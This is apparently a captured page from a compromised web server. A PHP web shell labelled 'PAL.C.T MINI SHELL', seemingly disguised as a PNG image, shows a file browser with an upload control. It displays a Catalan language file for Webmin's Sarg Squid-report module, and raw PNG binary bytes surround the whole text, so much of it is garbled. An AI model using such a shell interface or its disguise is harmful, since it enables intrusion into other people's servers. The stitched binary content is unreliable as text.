php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sarg/lang/
upload
files >> //usr/libexec/webmin/sarg/lang/ca

index_title=Generador d'Informes de Squid
index_econf=No s'ha trobat al sistema el fitxer de configuració $1 de Sarg. Pot ser que Sarg no estigui instal·lat, o bé que la <a href='$2'>configuració del mòdul</a> sigui incorrecta.
index_ecmd=No s'ha trobat al sistema el programa $1 de Sarg. Pot ser que no estigui instal·lat, o bé que la <a href='$2'>configuració del mòdul</a> sigui incorrecta.
index_eversion=No s'ha pogut obtenir la versió de Sarg amb l'ordre $1: $2
index_version=Sarg versió $1
index_generate=Genera Ara l'Informe
index_generatedesc=Fes clic sobre aquest botó per generar immediatament un informe Sarg a $1 utilitzant la configuració actual.
index_clear=Suprimeix l'informe existent al directori
index_range=Genera l'informe per al rang de dates
index_view=Visualitza l'Informe Generat
index_viewdesc=Visualitza l'informe generat més recent al directori $1.
index_return=a l'índex del mòdul

log_title=Origen del Registre i Destinació de l'Informe
log_header=Opcions del fitxer de registre de Squid origen i de l'informe generat
log_access_log=Fitxer de registre de Squid origen
log_squid=Registre actual del servidor Squid ($1)
log_other=Un altre fitxer
log_output_dir=Directori de destinació de l'informe
log_output_email=Envia l'informe a
log_nowhere=Enlloc
log_useragent_log=Fitxer de registre de l'agent d'usuari
log_lastlog=Nombre d'informes a mantenir
log_unlimit=Il·limitat
log_mail_utility=Ordre per enviar el correu
log_remove_temp_files=Suprimeix els fitxers temporals després de fer l'informe
log_err=No s'han pogut desar les opcions del fitxer de registre origen
log_efile=El fitxer no existeix
log_edir=El directori no existeix
log_elastlog=Hi falta el nombre o bé no és un número
log_eemail=Hi falta l'adreça de correu o bé és aparentment invàlida
log_emailx=Hi falta el programa de correu o bé no existeix
log_squidguard_log_path=Fitxer de registre de SquidGuard

style_title=Estil de l'Informe
style_header=Opcions HTML de l'estil i el color de l'informe
style_title2=Títol de l'informe
style_font_face=Tipografia del cos de l'informe
style_header_color=Color de la capçalera
style_header_bgcolor=Color de fons de la capçalera
style_header_font_size=Mida de la tipografia de la capçalera
style_background_color=Color del fons
style_text_color=Color del text
style_text_bgcolor=Color de fons del text
style_title_color=Color del títol
style_logo_image=Referència de la imatge del logotip
style_image_size=Mida de la imatge (amplada i alçada)
style_logo_text=Text del logotip
style_logo_text_color=Color del text del logotip
style_background_image=Referència de la imatge de fons
style_err=No s'han pogut desar les opcions d'estil de l'informe
style_etitle=Hi falta el títol de l'informe
style_ecolour=Hi falta el nom o codi RRGGBB del color o bé és invàlid
style_efontsize=Hi falta la mida de la tipografia o bé és invàlida
style_efont=Hi falta el nom de la tipografia o bé és invàlid
style_esize=Hi falta l'amplada i alçada de la imatge o bé és invàlida
style_language=Idioma de l'informe
style_charset=Joc de caràcters de l'informe

report_title=Opcions de l'Informe
report_header=Contingut de l'informe i opcions de generació
report_resolve_ip=Resol les adreces IP
report_user_ip=Utilitza adreces IP en lloc d'IDs d'usuari
report_user_sort_field=Ordenació de l'informa d'usuaris
report_topuser_sort_field=Ordenació de l'informe d'usuaris principals
report_reverse=Ordre invers
report_forward=Ordre normal
report_by_user=Per nom d'usuari
report_by_connect=Per hora de connexió
report_by_bytes=Pels bytes
report_by_time=Per l'hora
report_by_site=Pel lloc
report_exclude_users=Fitxer que llista els usuaris a excloure
report_exclude_hosts=Fitxer que llista els hosts a excloure
report_index=Torna a generar el fitxer <tt>index.html</tt>
report_only=Només genera el fitxer <tt>index.html</tt>
report_overwrite_report=Sobreescriu l'informe amb data
report_overno=No, reanomena'l amb .1
report_records_without_userid=Acció per als registres sense usuari
report_ignore=Ignora'ls totalment
report_ip=Utilitza l'adreça IP en lloc seu
report_everybody=Utilitza el nom d'usuari <tt>everybody</tt>
report_use_comma=Utilitza la coma en lloc del punt als números
report_topsites_num=Nombre de llocs principals a llistar
report_topsites_sort_order=Ordenació de l'informe de llocs principals
report_sorta=Ascendent
report_sortd=Descendent
report_index_sort_order=Ordenació dels enllaços de <tt>index.html</tt>
report_exclude_codes=Fitxer que llista els codis HTTP a excloure
report_max_elapsed=Temps màxim transcorregut (ms)
report_report_type=Seccions de l'informe a generar
report_topsites=Llocs principals
report_topusers=Usuaris principals
report_sites_users=Llocs per usuari
report_users_sites=Usuaris per lloc
report_date_time=Ús per dia i hora
report_denied=Llocs denegats
report_downloads=Descàrregues
report_auth_failures=Autenticacions fallides
report_site_user_time_date=Llocs, dates, hores i bytes
report_all=Tots els informes
report_below=Els seleccionats a sota...
report_usertab=Fitxer de mapejat de noms d'usuari
report_long_url=Mostra els URLs complets en l'informe
report_date_time_by=Ordena l'informe de dates/hores per
report_bytes=Bytes
report_elap=Temps transcorregut
report_user_invalid_char=Caràcters invàlids als noms dels usuaris
report_privacy=Amaga els llocs visitats
report_privacy_string=Text de substitució dels llocs visitats
report_privacy_string_color=Color del text de substitució
report_below2=Introduït a sota...
report_include_users=Genera només l'informe d'usuaris
report_exclude_string=Exclou les línies del registre que contenen
report_allusers=Tots els usuaris
report_nostrings=No n'excloguis cap
report_topuser_num=Nombre d'usuaris principals a mostrar
report_site_user_time_date_type=Format de la taula del lloc, usuari, data i hora
report_table=Taula HTML
report_list=Llista de text
report_displayed_values=Mostra el trànsit
report_bytes2=En bytes
report_abbrev=Abreujat (K, M, G)
report_weekdays=Dies de la setmana a incloure en l'informe
report_weekdays0=Dg
report_weekdays1=Dl
report_weekdays2=Dm
report_weekdays3=Dc
report_weekdays4=Dj
report_weekdays5=Dv
report_weekdays6=Ds
report_hours=Hores a incloure en l'informe
report_err=No s'han pogut desar les opcions de l'informe
report_efile=El fitxer no existeix
report_enum=No és un número
report_echar=Els espais no estan permesos
report_estring=Hi falta el text de substitució o bé és invàlid
report_eselect=No has seleccionat res
report_eenter=No has introduït res

sched_title=Generació Planificada d'Informes
sched_header=Opcions dels informes planificats
sched_sched=Informe planificat activat
sched_yes=Sí, a les hores seleccionades a sota...
sched_clear=Buida cada vegada el directori d'informes
sched_dir=Directori d'informes
sched_edir=No has definit cap directori de destí dels informes a la pàgina <a href='$1'>Origen del Registre i Destinació de l'Informe</a>. Cal configurar això abans d'activar els informes planificats.
sched_esfile=No s'ha definit cap fitxer de registre de squid a la pàgina <a href='$1'>Origen del Registre i Destinació de l'Informe</a>. Això s'ha de configurar abans de poder activar l'informe planificat.
sched_range=Genera l'informe per al rang de dates
sched_rall=Tots els registres del fitxer de registre
sched_rsel=Des de fa $1 dies fins fa $2 dies
sched_err=No s'ha pogut desar la generació planificada de l'informe
sched_erfrom=Hi falta el nombre de dies inicial o bé és invàlid
sched_erto=Hi falta el nombre de dies final o bé és invàlid

view_title=Informe Sarg
view_efile=Nom de fitxer invàlid!
view_eopen=No s'ha pogut obrir el fitxer d'informe

gen_title=Generació d'Informe
gen_header=S'està generant l'informe Sarg a partir del fitxer $1 de registre de Squid i totes les versions rotades...
gen_done=... fet
gen_failed=... Sarg ha fallat! Mira la sortida anterior per a més detalls.
gen_nothing=... Sarg ha acabat, però no s'ha generat cap informe. Mira la sortida anterior per a més detalls.
gen_view=Visualitza l'informe completat.
gen_err=No s'ha pogut generar l'informe
gen_efrom=Hi falta el dia inicial o bé és invàlid
gen_eto=Hi falta el dia final o bé és invàlid

webmin_log_log=S'han actualitzat les opcions del registre origen i destinació de l'informe
webmin_log_report=S'han actualitzat les opcions de l'informe
webmin_log_style=S'han actualitzat les opcions d'estil de l'informe
webmin_log_sched_create=S'ha activat la planificació d'informes
webmin_log_sched_delete=S'ha desactivat la planificació d'informes
webmin_log_sched_update=S'ha actualitzat la planificació d'informes
webmin_log_sched_nothing=S'ha deixat la planificació d'informes desactivada
webmin_log_generate=S'ha generat l'informe
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`